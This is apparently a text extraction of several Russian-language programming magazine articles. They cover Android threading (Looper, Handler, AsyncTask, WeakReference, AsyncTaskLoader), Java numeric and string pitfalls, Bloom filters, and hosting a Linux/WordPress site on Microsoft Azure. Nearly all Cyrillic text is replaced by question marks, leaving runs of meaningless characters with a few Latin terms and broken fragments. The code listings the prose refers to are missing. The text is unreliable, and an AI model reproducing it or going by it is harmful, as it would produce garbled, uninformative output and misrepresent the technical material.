*RecOveR* ?а?????? ???????,а? ??? ?????? ??а???????.
?????? ??????, ? ??????, ??? ?????? ????? ????? ?аDr.Web ??? ???????????,
?аDefender ????????? ???????????.
?а?????????? ??????? ??? ?????????, ??????????? ??????, ????? ??????
?????????????? ?а???? ??????.
????????? ?????? 1
????????? ?????? 2
????????? ?????? 3
??????
???а????
??
??????
??
?
?
?
?
?
?
?
?
?
?
????????
1
?
?
?
?
?
,
ID
O
R
D
????? ???аAN
?????? ???????
mailforpahomov@gmail.com
???а???????? ?????????? ?????????? ???? ???????
лHello, world╗ ????? ????????? ????????? ??????? ???-??
??а???? ??? ??????? ???? ?а?????. ???а?????????? ?????? ????????? ?а????? ??? ???????? ?????? ???????????
?а????????? ???????. ?????, ????? ?а???а???????????? ????? ?????? ?аAndroidа? ??а???? ?? ??????? ??а?????????
?????????. ?????? ??а????????????!
???????? ?а??????
?????? ??? ??????????? ?аAndroid API, ????????, ????? ?????????? ????????
??? ??. ?а?? ?????? ????? Linux-????, ?а??????? ??????????? ??????? ?????????, ???????? ???? *nix-????????. ?а???? ??????? ??????, ??????????????? ???а?????????????? ??????: ?????????????? ?а???????, ???????????
??????, ???????? ??????? ?а??? ?????.
?а???? Linux ?????? ?????????? ?????????а? ??? ????????? ???????.
?????? ??????? ???????? ?????????? ??????? ?а??????????? л???????????╗а? ??????????? ???????? ?????????????, ?а?????? ???????? ??????????
??? ?????? ????????. ????? ??а? ??? ????? ?????????? ?????? ??????????
????????? (????????), ??????? ????? ???? ???????? ????????. ?а?????? ???
?????? ??????????? ?????????????? ?а????????? ????????????а? ??? ??? ??
????????? ??а????????????? ???????? ?а????? ?а??????? ????????.
???????? ??????????????? ?аGoogle Play ??????????, ??????? ????????
?а??????? ??????, ??????? ??????? ?а????????????? ????????, ??? лAndroid
????????╗
???. 1. ?????? ???????? ????????? ?аAndroid
????? ????????? ??? ???????? ?а????, ??? ??а??????? ??????????, ???а????????? ????? ?????? ????????, ???? ?? ??? ?????? ?а??????? ??,а? ???а??а?а??????
????????? ??? ????????? ????????? ?а?????????? ???????????????. ???????
??а????? ?????????????? ???? ?????????, ?а????????? ???????? ?????? ?????????? ?? ???????. ??????, ?????????? ??? ???????????? ?????? ?????
?????????, ??????? ??????? ????????? ???????? ???-?????? ??а????????????
?????????? ??аLinux.
????? ?а??????????? (? ????? ??а????а? ?а????????? ?а?????????) ????????? ?????????? ?а??????????? ??????, ???????????? ???????? ?а??а??????????? ?????. ????? ??????????? ?????????????? ???????????? ????????
??а???? ????? ??????????, ???????? ????? ???? ??????????? ??? ??????????, ?а??? ????? ???????? ??????????????????. ???????? ??????????? ????
????????? ?????????? ?а???????? л??? ????а? ?а??? ???? ???????╗, ??, ?а?????????, ???????????????? ?? ??а?????????????.
?аAndroid ??????????? ?????? ??????????? ????????? ????? ?????? ?а????????. ??? ????????, ??????? ????? ?????????? ????? ?????????? ??????,
?????? ??????????? ??????????? ?а????????? ???????. ????? ???????? ???????? ?а????????? ?????????? ?а???????????? ????? ????????, ??? ??????????
л????????╗.
??????, ???? ?????????????? ???????????????? ?а???, ????? ??????????? ????????????? ??? ??????? ??????????, ???а???? ????????????? ??????????
??????????. ??? ??а??? ?????, ???а????? ?????????? ??а?????? ??????, ??а????????? Android ???????? ?аAPI ????????? ???????? ???????, ??????? ??????
????????? ????? Java-????????????.
?????? ?аANDROID
?????????? ?аAndroid ?????????? ?????
??????????? ??????? ?а???а??????? ????
?????а? ??? ?????????? ??????? ?????
(main thread). ???? ?а?????????? ???? ?????-???? ?????????? ????????, ?? ?а????
?????? ??????????? ?????? ?????? Activity,
?????????? ??а????????? ??а??????? ?????????? (user interface, UI).
?а??????? Activity ?????? ???? ???а????? ?????? ??????????, ????????????
??? ??????а? ?????????? UI. ???? ??????? ????? ????? ????? ????????? ?????
??, ?? ?? ???????? ????? ?а?????????????а? ???? ????? ??а???????????, Activity
??а?????? ???????????? ??????? ???????????? ?а??а??????? ????? ????????,
??? ?????????? ???????. ???? ???????? ????????? ???? ?????? ???? ??????,
??аAndroid ??? ??????? ?а????????????
?????? ????????? ANR (application not
respondingа? л?????????? ??а????????╗)
?а???????????? ????????????? ????????? ??????????.
???????? ????? ????????? ????????а? ?????????? ?а??????? ?????? ?????? ?????? ?а???????? ????????, ?????,
????????????? ?а??? ?????. ???а?? ?????????, ??? ????? ?????? ????????, ??????? ??а?????? ??????????? ?а??????? ??????? ?????? ??????????.
???. 2. ANR-?????????
THREAD ?аRUNNABLE
??????? ??????? ???а??????? ?аAndroid ???????? ????? Thread, ?а??????? ???
??? ?????? ???а???????? ??????. ??а???а????, ????? ???-?? ????????? ??????
?????? ??????, ????? ????????? ?????? ?а?????? ?????? Runnable. Thread, ??????? ?????? ????? ??????, ????? ?? ???????? ????? run:
??а???а????? ??????????? ?????? ???????????? ??? ???? ?????????????? ???????а? ?????? ??а???????? ??????, ??а??c??????? ????????? ??????????. ????
??? ??? ?????????? ?а?????? ???????? ????????????, ?аJava-???????????? ???
??????????? ?????? ??? ???????? ??????? ???????? ???????.
LOOPER
???? ?? ??????? ????? ???????????? ?????? ??а?????? ?????? ?а??????.
?аAndroid, ???а?а????? Linux-???????, ??? ????????. ???? ??а????????? ?аAndroid
????????а? ??? ??????? ??????? ????????? (MessageQueue) ?????? ??????.
?а????? ??????? ????? ????????? ??????? ??а?????? ???????, ????????? ?????
???? ???????????, ??????? ??? ????? ???? ???а?????????? (Runnable):
????? ???????????? ???????, ????? ??????????????? ???????? Handler
?аLooper: ?????? ???????? ??а??????????? ???????, ?а?????? ?а???????????
????? ?????????, ??? ?? ?а??? ????? ????? ???а??????:
?????? ?????? ?????? ??????? ??а??????? ?????а? ???????? ?????? ???????
?а????? ?????? start:
????? ?????????? ????? ?????? ????????? ????? ?????, ??????? ??????? ????? ??????. ?а??? ??????, ??? ????????????? ?????????? ?а???????? ???????? ????? ??? ???? ??????????? ?а???? ????????, ??????? ?????? ?а????????? ???????? ????? ??????? myLooper.start(). ??????? ????? ??????????
?а??????? ?а????? ?????? ????? ??????? ?????????а? ?????? handler ?????
??? ??а????????????:
ASYNKTASK
???????? ??? ???????? ???-?? ?а????, ?????? ?? ??а?????? ???????? ??????????,
??а??? ?а????? ??????????? ???????? ???????????? ?????????? ?а?????????. ???????, ??? ??? ????? ??????? ?????? ?а??????? ??????? ?????????,
??а???????????? Android ?а??? ????????? ??? ?????, ?????? ????? AsyncTask.
????? AsyncTaskа? ??? ????????????? Java-????????? (generic) ?а????
Android. ?а???????-????????? ??????? ??а????????? ??? ??????, ?а????????
?? ????????? ????????. ???? ????? ????????? ??????? ?????, ??????? ?а??????????? ?????? ???а??????? ???????? ?а????? ????? ??????. ?а??????
?????? ????????? ????????? AsynkTask ???????? ????????? ????? ?????? ?а?????????? ????????????? ????????? ??????.
C ??????? AsyncTask ?????? ????? ????? ??а?????? (? ????????? ???????????? ?????) ?а???????? ??????, ?а?????? ??????? ?????? ?а???????????? ??????????. ?а???????, ?а??????? AsyncTask ?????? ??????????????? ?????
(????????, ?? ???????????), ???а???? ??? ????? ?????????? modifyFile
????? ???? ???????? ?аActivity ???????? ??????:
?????? doInBackground, ???????????? ????? ?????, ?аAsynkTask ???? ??????, ??????? ????? ??????????? ??? ?а??????? ??????:
???а??????? ?????? ?????? ?????????? ????? ??????? ?аActivity:
?а?????????? AsyncTask ???????????? ?????? ??????????? ????????????? ??????????, ??????????? ?а???????? ????? ???????? ???, ???????????? ?????
??????, ?а????? ??? ?? ?????? ???????? ?аUI ?????????? ??????????, ?????????? ???а???? ????????. ??а?а????? ?????? ???? ????????? ?????????? ????????, ??????? ????? ??????? ?????????? ?????????? ????????????.
????????? ?а???????
???а?????? ?????????? ?????????? ????? cancel(boolean), ??????? ?а?????? ?????? ?????????? ????? ?а??????????? ???????. ??а????? ??а??????????.
?а?????? ???? ?? ?????? ?а?????????? false, ?????????? ????? ??????????,
?????? ?? ????????? ??а????? ????????? ?аUI. ????? cancel(true) ???? ???????? ??????? ?????? ????????, ????????? ?????????? ??????, ??????? ???? ????????? ????????????? ???????? ??????,а? ?а???????, ????????? ??????????? ?а??????? BitmapFactory.decodeStream().
?????? ???????????
??????????? ?????????? ????????? ????? ???????, ??? ??????? ????? ?????
???? ??????????? ?а????? ??????,а? ????????, ???а?????????? ??????????
????????????? ????????? ????? ????????? Activity ?а?а??? ??????????? ?????
onCreate(). ?а???? ?????? ?а?????? ?????????? Activity ??а????? ????? ?а???????? AsyncTask, ????????? ?а?????????? л??????╗ Activity. ??????? ??? ??????????, ??????? ??а?????? ??????????? ?аAsyncTask ??а?????????? ??????????,
????? ????????.
?????? ??????
?а??? ????? ?????????? ?????????? AsyncTask, ??????? ???????? ???????
??а??????????? ??????. ????? ??????? ?????? Activity ??????? ????????? UI
?????? ???? ???????? ??а?????? ????????? ??????. ??а????? ??а??????????, ????????? ??ал??????╗ UI ???? ?????? ?а?????????? ??????, ?????????
AsyncTask. ?????? ??а????????, ???????? ????????? ??? ???? ????? ?а????????? ??? ?????????? ?а??? ??а?????. ??а???? ????, ??? ???????????? ?????
???????? ?????! ???а????? ??????????? ???????? ???????? ??? ??????????
?????? ?????????? ??а?????????? ???????? Activity ?а?????????????? ???????,
?а??а????????????? ???????? ?????????? ?а??????? OutOfMemoryException.
??? ?? ???????
??????? ????????? AsyncTask ??????????? ?а???????????? ?????? ?????
(WeakReference). ???а????? ??????? ?а?????????? ??а????? ?????????? ?????? ??????, ?а?????? ????????? ???????? ???????? ?????? ????????? ???????? Activity ??а??????.
WEAKREFERENCE
??????? ?а?????? ?аJava. ???????? ????? ?????? ?а?????????? ??? ?а??????????, ?? ??????? ?????? ????? ????. ????????? ???????? ??????? ?????????????? ????????? ??????? (strong) ??????:
?аJava ??? ??????????????? ??????????? ????????, ???? ?????????? ???????
??????. ???? ??????? ?????? ??????????, ?????? ????? ?????? ?а??????. ????????? ????? ?????? ????? ?????? ???????, ????????? ?????????? sObj ?аnull.
???? ?? ?????? ?????? ?????? ??????? ???????? (WeakReference), ?? ???????
?????? ???а?????? ?? ??????????? ???????? ??? ??а??????:
?а?????????? ????????? ??????????, ?а????? ?????? ?????? ???? ?????????
?????? ??????? ??????. ??????? ????? ???????????????? ?а?????? ??? ???????? ?????? ?а??????? ??а?????? ??????:
LOADERS
???????, ???????? ?????? 90% ???? ????????? ?????????? ??????а? ??? ?????? ?а????????? ???а???????????? ????????? ?????? ??а???? ??? ????????
???????, ?а????? ??????? ?????????? ?? ??а???????. ???а????? ????? ??????? ???????? AsyncTask, ??а??? ???????? ??а?????? ?????????? ???а?????????
?????????????, ??а?а????? ????????????? ?а???????? ???????.
???. 3. ????? ?????? ???????????
???????? ??????????????? ?аGoogle Play ??????????, ??????? ????????
?а??????? ??????, ??????? ??????? ?а????????????? ????????, ??? лAndroid
????????╗. ???????? Google ?????? ????? ???????? ??? ???? ???????? ?а???????? ?аAPI ?????-????????? (Loader), ??????? ??? ?????? ???????? ?????????
??????? ?а?????????????? ??????? ?????? ????? AsyncTask. ???????? ?????? ?????? ?????? ??????? ????? ????? AsyncTaskLoader, ??????? ???????????
?????? ???? ???????????:
??? ?????????? ????? ?????? ??а??, ??? ?????????? ?????? ???а?????????????
????????????? AsyncTask, ?????? ?????? ??? ?????????? ?а????? ?????? ????????? ?а?????? loadInBackground:
????????, ??????? ??????? ?аAsyncTask, ?????? ????? ???????? ?????????????? ?????а? ????????? ????????. ????? LoaderManager.LoaderCallbacks
????????? ????????? ??????? ?а??а????????? ?????????? ?????????? ??????
?а??????????? Activity. ?????? ?????????? ?????? ????? ??????? ???, ?????????? ??????? ?а???????? ???????? ??????????? Activity: ?????????? ??????????? ?а????? ?????? ??????, ?а???????? ????????? ????? Activity ?а?????
?????????? ??????.
???а??????? ???????? ??а????? ListView, ?????? ???а???????? ????????
??а???????????????? ??????. ???????? ?????? ???? ?????-????????, ???????
?? ????? ???????? ??а??????? ?????:
?????? ????? ??????? ???????? ?а?????????? ?а???? ????? (Loader). ??? ??????????? ?а????????? ????? ???? ????????? ??????? ?а??????????? ????????,
??а???????? ?аActivity ?????? ???? ?????? ????:
?????? ????? ??????????? ????? ??????? ??????а? ?а???????, FloatingActionButton. ???а??????? ?а????????? ??а???????????
setOnClickListener ????? ????????? ??а????????? ?????????? ?а????????
?????? ????????? ?????? LoaderManager:
??????????? ????? ????? ?а?????? onCreateLoader, ??????? ??а??????? ?а?????????? ??????????????. ?а???????? ?????????? ???? ????? ????????? ?????????? ????? ???????? ?????? (31337), ?а????? ?????? ?????? Bundle, ?????
??????? ????? ???????? ????????? ??а?????? л????а? ????????╗:
????? ???? ???аAsyncTaskLoader ???????? ??? ????????, ?а????????? ????????? ????? onLoadFinished. ???а???????? ?????? ?аUI ??? ????? ?????? ????????
?????? ?а?????????? ????????, ???а???а??? ????? ???? ???????????:
????? ???????? ?????? ?а????????? ???????????? ??????, ????? ??? ????????? ????? onLoaderReset. ?? ?????????? ?а??? ??????, ???? ????????, ????????????? ?аAsyncTaskLoader, ???? ???????? ??? ????????????:
??а?????-?? ???????? ?а?????????? ??а??? ?????????? ?????? ??????
onProgressUpdate ??аAsyncTask. ??а??? ???????? ??????? ??????????????,
????????? ?????? ?аUI ?а??????? ?????? ??????.
TO BE CONTINUED
??????? ?? ????????? ??????????? ????????? ???????, ??????? ????? ???? ??а??? ????????, ????? ?? ??????-?????? ????????? ???????? ?аJava ??? Android. ???????, ??? ???????????? ??????? ??аGoogle ???? ???????? ???????? ?а?а????
????????? ??????? ???????? ???-?????? ??????.
???? ??????? ?а????????? ??????? ???????, ????? ??
???????? ?а????? ??????. ???? ???? ????????????, ???????
????? ?????? ??а??, ??? ??? ????? ???? ????? ???????????????? ?????????! ??? ??? ???? ?а??? ??????????а? ?а???????
???????? ??????? ?а????????, ??????? ?а????????? ??????
?? ????????? ??????????? ?а???????????????? ?аAndroid.
???? ??????? ???-?????? ?????????????? ??а????, ?а????
????? ???????а? ???? ??? ??а?????. ?????!
WWW
????????
Google ?а???????
?аAndroid
?????? ?а???, ???
????? Linux-????
????????? ????
Activity
??????
??????
?а??????????
????? ?? ???????????
???????? ???а????
??????? ??????????,
????????????а?????????
л???????????? ?????
?а????????????? ?????????╗, ?????
??????? ?????? ????????? ?????? ???? ???????? ???????: ??а?????? ???????????? ???????????? ?а????????????? ?????? ?????, ?а????? ?????? ?а???-?????????????? ?а??????? ?????????????? ???????? ????
????????????? ???????? ?????????? :). ??? ?а? ?????
??????, ???? ??? ?а??а??? ??????. ??? ????? ??? ?а????????? ????? ?а??????? л?????? ?? ??????????? ????? ???????????? ???????????╗ ????????? ??? ????: л?а??????
?? data scientist ????? ????????????????╗
?а???? ???? ?????-?? ??????а? ???????????, ????, ?????? ??????? ??????????, ?????? ??а?????? ?????? ?????????????. ?а???? ?????? ? ??а???? ?????????? ???? ????? ????, ???, ????? ????? ???? ????????????????, ????? ???????? ????????? ????????????? ???? ?????. ?а????????? ????? ???? ???????
?????, ??????? ?а???? ???? ?а??????? ????? ??а?????,а? л???????╗ ??????. ???
??????: ???? ??а???а????, ?, ????????, ????? ??????, ??? ????? ??????? ??а??????? ????,а? ?а????? ??а?????? ???? ?????? ???.
???? ??а???а????. ????????, ????? ??????, ??? ????? ??????? ??а???????
????,а? ?а????? ??а?????? ???? ?????? ???!
?????? ?????, ???? ?????? ??????, ??????? ??????? ??????? ?????? ??????????. ?????? ?????????????? ????????? ???? ?? ??????? ?а??????? ???????????? ?????, ???? ?? ??????????? ???-???????????. ?????? ??????, ??????????
?????? ??? ??-?????????? ??????????? ?????????????? ?????? ???а????????????а? ??? ?????? ??????? ?а?????? ???????? ?а??????????? ???????????.
??????????, ?????????? ????? ?а????? ?????? ?????????? ??????? ????????????????, ???????? ???????????? ?а???????????? ???????. ??а????
???? ????????? ?? ???? ???????? ????????????????, ????? ???? ?а?????? ???????,а? ??? ?????????. ?а?????-?? ??????, ??? ?? ?? ??а???????????????, ??
????????? ???????????? ?а??????? ???????? ?????????. ??? ????? ???? ?????????????? ?????????, ????? ?? ?????? ????? ????????????? ???????????
?????????, ??? ?? ????????? ????, ?а????? ????? ???????????, ?а??? ?????. ??????? ??????? ????? ??????????, ??????? ??????????? ????? ??? ????? ???????????,а? ??? ??????????, ?????? ???а?????????? ?а??????? ???? ?а?????.
?????, ????? ??? ???а???????? ??а??????????, ? ??????? ????????? ???????? ??а?????????? ??????????? ????.
???-??? ?а??????
???? ???? ?????? ???????, ?? ????? ????????, ??? ?????? ?????????? ?????? ??а?????? ???????? ????????????, ?????? ??? ??????????, ????????? ??????????????? ?а???????, ????? ???????? ?????, ??? ???????, ??-?? ???????????? ????????????? ????? ?а??????????.
?????? ?а????-?????? ?????? ????????, ??а????? ???????????????а? ?????????, ??? ??а????? ?????? ??а????????????? ??????? ????????????, ?????????? ?????????????? ?????????, ???????? ??????????? (?????, ??????? ?????
????? ?а????, ??????????? ??????, ??? ????? ?????????? ??а?????? ??????).
???, ?а???????, ???? ????? ????? ??? ????? ?а???????, ?????? 0,9, ??? ????????? ?? ??????????. ??? ????? ???? ??????
?????? ?????, ????? ??????? ???? ?а??????? JUnit ???а???????:
??? ????????, count(arr, 0.9) ???? 3, ??? ???а????????а? ????? ?а?????????. ??а????? ??????? ????? ???????? ??????... ???? ?????, ???? ? ??а??? ???
??а???? ??????. ?????? ???????????? ??????????? ????????? ?????????????
???? ??? ???а?????? ?а??????????????? ????? ??????? ?????? ??????:
????? ?? ????? ??? ?? ?? ?????, ??аcount(arr1, 0.9) ??????... 0. ?????? ????
????? ?????? ??????? ?????? ??а?????:
???? ??а?????? ?????, ??????? ?????? ????? ????? ???????????: ???????,
??а???а????? ??????????????? ?????? ?????????? ????? ?а????????? ??????
??а?????????. ?????? ?????? ??? ??????????? ?????? ??? ??? ???????? ???????? ????????????? ????? ?а????????? ?????? :). ?????? ??а??? ???? ?????
???????? ??а????, ?а????????? ??????. ????? ? ??а???? ????????? ?????? ?????
????, ????? ???ал???????? ???????╗, ?а?????? ??? ???????????? ???а????????? ???? ?????: ???? Math.abs(x ? y) < eps, ?? ????? ??????? ?? ???????. ???????? eps ????? ????????? ?????? ??а?????? (??? ?????? ??????????
????? ?????). ??????, ?а??????? ?а?????????? ??????? ????? ???????????,
?а?а??????? ?а????????? ?????? ????????, ?????? ??? ?????? ??а??? ????????, ???а??? ??а????? ???? ????????. ??? ?????????? ?????? (???? ??аJava):
????????? 0.0 > Double.MIN_VALUE ?????? false!
?????? ???????? ????? ????? л????????╗ ?ал??????????╗, ?а????????? ???????? ???????? ???????? ???? ??????? ??а????? ??????, ??? ??? ? ????? ????
??? ???????? ?????? ???а??????:
? IEEE 754;
? ???? ???? ?а?????? ?а????????? ?????? ?аJava.
????? ?? ?????? ?????? ???-????? ???????? ?????. ????? ?а????????? ?????? ?а????? ????? ????? ???? ??-??????? ?а????? ?а??? ?? ?????????. ?а???????, ??????? ??а0 ?а?????? ????? ????? ???????? ?а????????????? ??????????,
?а??? ?а?????? ????? ?а????????? ??????а? ?а????????? ???????? Double.
POSITIVE_INFINITY, Double.NEGATIVE_INFINITY ?аNaN (???? 0,0 ?????????
??а0). ???????????? ????? ???????? ??-???????:
?а?????????? ??????? ?а??? ???? ??????? Math.abs(). ??????, ??????? ?????????? ??????????? ???????? ????????? ???? ??а????, ???????? ???а?????
????? (??? ?????? ????? ???????????? ?????? ???????), ?а????? ??????? ????
????? ??????? ???????? (???????? ?а??????? ????????). ????????? ????????
?а???, ?????? ?? ?????? ?????????? ?????????? ?????????, ?? ???? ????? ??
?? ?????? ?????????? ??а??, ??? ????????? ?????? ?????? ?????? ???? ?????
0? ???? ????? ??? ???? ?а????? ?а?а????????????. ???????? ?а???, ??? ???? ????? ????? ???????? ?а?????? ???, ??? ???-?????? ??а????????. ???????? ?а????
???????????, ??????? ????? ????? ??а??????: ????? 32 ????, ???????? ???????? ?????? ????? ??а?231 ??а231 ? 1.
???-?????? ????? ?????????? ?????? ????????????? ????? ??????? ?????????????! ??а???????? ??? ????????, ??? л???????? ?????????????╗ ?????
Math.abs(Integer.MIN_VALUE) ????? ?2 147 483 648.
?????????, ????????? ?а????????? ??????
?????? ???????? ?а???????? ??????? ????. ??????? ? ??? ??а????????? ??????????? JPoint. ??????? ??????? (@shipilev) ??????????? ??? ??????????????? ????? ?аJava 9. ???????? ??а?? ??? ?????? ?аJava ?а????????? UTF-16,
??????????? ??а???, ???????? ???????????? ?????? ??????????, ???-????
???????? ?????? ????????? ???????. ????? ??????? ??? ????? ?????? ?????????? ?а??????, ??? ??а?????? ????????? ???? ????, ??? ???????? ??????????
?????? ?а???????? ?????????? ???????????. ?????? ?????? ?а???, ???а??? ????????? ???????????. ?????????, ????????, ?????? ?? ??а???????????? ?????? UTF-8 ?????? UTF-16? ???????? ??????????? UTF-8 ??????? ?а???, ??? ???
????????? ?а?????????? ??????????? ?????? ??а?????? ?а????????? ???????
?????? ??????????? ????? ??????. ???, ??????????, ???? ??????? ??а????????? ?аUTF-16 ???????? ?, ???а????? ??????????, ???а??? ?????? ???? ????????.
???а?? ??а???. ???????????, ??? ????? ??а????? ????? ?????????? ???????
?????? String ?аJava ???????? ????? charAt(). ?????? ???????? ???????? ???
????????????? ?????????:
???? ???? ?????? ???????? ?а????????? ?а??????????? ?????? ??????, ??
???????? charAt() ????? ??????????? ??а???????? ??а????? ?????? ?????,
?а??а??аO(1), ??? ???????? ?а????????? ????? ?????? ??а???????????? ?????????.
???, ????! ??? ?????? ??????? ???? ???а?????? ??????????. ?????? ??????,
??????? ?????????? ??? ??????? ??а????, ????? ?а???????? ?????? ??а???????????. ?????? ????? O-??????? (? ?????? ????? ??а?????? ??????? ?????)
?????????? ???????.
???а???, ??? ??? ??а?а?????, ??а???? ?????????? (?????????? ???) ????????? ????????????? ????? ?????????: ????? ????????, ??? ?????? ?а???????
?а?????? ?????????? ??а?????????? ?????, ??????? ??а??????? ??а????? ??????.
??? ??? ??????, ??? ??????, ???а??? ????? (?? ??а??????) ??????, ???????????
????? ???????. ??? ????? ???? ?? ????????? ?а????????, ??а???. ???? ?а???,
??? ???? ????, ??????? ??????? ??? O-???????, ??а?????????? ?? ???????
?????????. ????????, ?? ?а?????, ??? ???? ????? ????? ????????????????, ?а??????? ??? ??????? ????????????? (?? ???? ???????) ??? ?а??????? ?????? ???
???????? (????? ???? ????, ?а?? ??? ?????). ?а??, ????????, ??????, ??? ??????
?а??????? ???? O(1).
?а??? ? ??? ?????, ???а?????? ???? ????? ?????????? ??????? ?????, ????
???, ??? ????? ???? ?? ???????????? ???????.
???? ?а???, ??? O(1)а? ??? ??????????, ??????? ??? ???????, ??? ??? ?????????, ??а??а??????? ?????. ?а?????? ???????? ??? ????? ??????, ??? ?а??????
????????. ???, ???? ?????? ?????? ??? ?????? ??????? ?а????????? O-???????, ????? ?????? ??а???????? ??? ??, ?а??? ????? ???? ???????? ??а?????????????????? (???-???????, ??????????? ?а??? ?????), ??? ????? ??а??????
????? ???????, ??а?а??? ????? ???? ?????.
??? ?? ?? ????????? ???????? ??????????? ???? ??? ?????????. ? ??? ????? ??? ??????, ??? ????? ????????? ?????? ??а?????, ?????? ??? ??? ????????
??а???. ????????? ????? ?????? ??????. ???? ???? ?а???, ?? ?????? ????????
??????, ????? ????????? ?????? ??? ???????? ????? ???????????? ?а?????? ?????????? ??????. ?????? л?????╗а? ?????? ??? ?????? ??? ???-???? ?????????.
????? ? ??? ?????, ?????? ?а??????? ?????????? ???? 4 ?????, ?? ????
?а1024 ???? ??????, ??? ?????? ?а??????. ?а????? ???????? ?????? ??а???? ????
??????, ????? ???? ?????? ??аWatcom C ?а???????????? ?????????? ?????
?а??????? DOS/4G, ?????? ??? ?а???????? ?????? ?????????? x86 ??а????
??????? ?????? ??????, ?а???? ?????? ???????-???????? ?а??????? ?????????? ?????????? ??????? ???? ?????? ??????. ???а?? ???????, ??? ?????????? ?а??? ???? ?????????? ?????: ??????.
??? ?? ?? ????????. ????? ????? ????? ????? ??аJava ?????? ???, ???а?????
?????? ??аC. ??а?а????? Java ???? ???? ???????????, ??????? ????????? ?????
??????????? ????, ??? ????? ????? ?а?????? ????????? ?а????????? ?????? ??????, ???? ???а????? ??????????????, ??????? ????????? ?????? ?????. ????
???? ?а???, ??? ????????? ????????а? ??? 32-?????? ???????? ?????. ?а???
??????, ???? ?? ?????? ??????? ???-??? ??а> 2 ????????? ???? ???? ?а???? ????
????????????? ?а????????? ??????, ?а??????? ?????? ???? ?????????? ?????????, ?? ?а???? ????????? ????????а? ????, ?????? ?????, ???????? ????????????? ??? ??????. ???? ???? ??? ??????. ??? ??? ??а????, ?а??? ?????? ????
????? ????? ????, ??????? ??????? ????????.
?????, ????? ??? ???????, ??????? ???а? ??? ???????? ??????. ???а??? ?????????? ????? ?????, ???а???????? ?а???????? ???????, ?а?????? ????? ???????. ???а???? ????? ??????????? ??????? ???, ?????????? ????????? ??????????? ??????? ??????? ?????. ?????? ??????????????? ?а??????????????
?????????, ????? ???? ??? ?а????? ?????????? ????????. ???? ??? ????? ??????? ?????? ??а????? ?????, ??????, ??а4 ????????? ?????????, ?? ????? ??????????, ??? ???а????? ?????????? ??????? ??? ??????? ??а2 ?????????. ??а????? ???? ????? ??? ??а??????, ???????? ?аJava,а? ?????? ??? ??? ??????????
?????? ??????, ?а?????????????? ?????? ???? ??????, ?а????? ??? ???? ??а8
????? ??????? ?а??????, ???? ???? ?а???? ?????? ?а64 ????? ??????, ????? ????????? ??????????? ???????. ?????, ???????, ??????? ???????-?????? ???????? ????????.
?????????? ?-??????? ??? ???????, ??? ??? ??????? ??????? ?а?????????
????????? ?????????? ??а?????????? ????????, ?????? ????????? ?????????
????? ???????????? ?????????? ????????, ?????? ??????? ??????. ????????,
64. ???? ?а???, ??? ???????? ?????????? ??????? ??а??????? ?а????????????
??????а? ??? ???????? ??????, ???????? ???? ?а???? ????????????????? ????,
????? ???а?а?????? ??????? ?????? ??????? ????????? ??а64 ????????? ?а??????? л?╗ ?а?????? 63 (??????? ??????????, ??а??а??? ?????), ??? ???????????
???????.
?????? ??????????
? ??а?????? ??? ???????? ??? ??????? ???, ?????? ??? ?? ????? ?а??????
????? ??????????, ?а???????, ???????? ????????? ??????, ??????? ?????????? ?????? ????? (Bloom Filter). ??? ????????????? ????????? ??????, ?а??????
???? ???а????, ????? ?????? ?а??? ????????, ????? ??????? ????? ??????????
?а???а??????? ?????? ?????? ????????????.
?????? ?????а? ??? ?????????? ????????????? ?????????, ??????? ???????????? ???????? ??а????????? ?а????????? ???????????? ??????????????????? ?????????? (false positive), ?? ???? ???? ???????? get ???а???????
????? ??????? ???, ??? ???????? ?? ????????? ???, ?? ??? ????????????? ???,
?а??? ?а????????????? ?????? ????? ????????????? ???????????? ??????????
?????? ?а?????-?? ????????????. ?????????? ?????? ?а?????? ?а????? ?????????? ?????? ??????????? ?а???, ??? ?? ?????? ?????? ???????? ?????? ?????
?????????????? ?????????????? ?????????? ?а????????? ?????. ????? ??????
????? ???????????? ???а????????? ???????? ?????????????? ???????? ?????????, ???? ?????? ???????? ??????? ??????.
???а??? ????????? ??а???? ? ????? ???????? ?????? ?а????????? ??????,
?а????? ?????? ?????? ????????? ???????. ??а????? ???? ??? ???????? ??????: ???а?????????? ???????? ??????????? ????????? ????????? ????? (??
????? ??????????? ???????????, ?????? ????? ?????) ???а??????? ???????,
????? ??????? ??????? ??а??????? ??а????? ???????? ???? ?а???????????????
??????????????? ????.
???а???????? ???????????? ??? ?? ???????: ???? ???? ?? ???? ??? ??а??????????? ???????????, ?? ??????? ???????? ?? ????????? ????? ??? (???? ???????? ????????). ?а?????, ??? ??????????? ?а???????? ?а??????????? ????????????? ????????? ?????? ?аlong-?????????? ?а????????? ?????? :).
??????
MICROSOFT AZURE
???а?????????
???????
?????? LINUX
?а?????????
WORDPRESS
?а??????
MICROSOFT
????? ????????????
dhsilabs@gmail.com
????? ????????? ??? ????? ????? л?????????? ?????????
Linux ?????? ?????? Microsoft╗ ?????????? ?? ??? ???????????. ??????? ?? ???а? ????????? ?????????? ???????
??????. ?а???? ?????? ?? ??????? ??????? Linux, ???а?????? ?????? ??аMicrosoft ????? ?????????? ????????? ???
???????????.
?????? AZURE?
Microsoft Azureа? ??? ???????? ?а?????? ?????????, ??????????? ?????????, ????????, ?????????????? ?????????? ?а????????? ???. ??а???? ????????? ??? ????? ???? ???? ????????, ?а????? ??а??????? ???????????. ???-???? ?????? ??????
???? ????????????, ?а?????????? ?????????? ?а??????????? ????????? ???????
??????????. ???? ???????, ?? ????? ???????? ????????? ????????????:
? ?
????????? ?а????????????а? ????????? ???????????????, SLA ??????????
99,95%, ?а????????????? ?????????? ??????????? ?а????????? ??а?????
????? ????.
? ?
??????? ?а????????а? ???а???????, ??????? ?а????????? ????? ??????????
??????????? ????? ???а?????????? ?а???????????? ?????????? ?а??????
????? ??????.
? ?
??????? ???????а? ?? ??????? ?????? ??а??????? ???????????? ???????
(????? ????? ???????? ???? ??а??, ???а?????????????? ????? Azure).
? ?
??????? ???????а? ???? ??а???? ????? ???????? ????????????. ??????
??????? ?????? ???????? ????? ????? ??????.
? ?
???? ???? ???????????а? ??а????? ??????, ??? ??? Azureа? ???????
??аMicrosoft, ?? ???? ????? ???????? ?????? ????????? ??? ??????????? Windows.
???а????? ???????? ?????, ????? ?а????????? ??????? Linux-?????????.
??? ??? ???????????? ????? ???а??????? ????????. ??, Azureа? ????????????
???????, ??а?а????? ??? ???????? ???? ??????. ?????????, ??? ?? ?????????
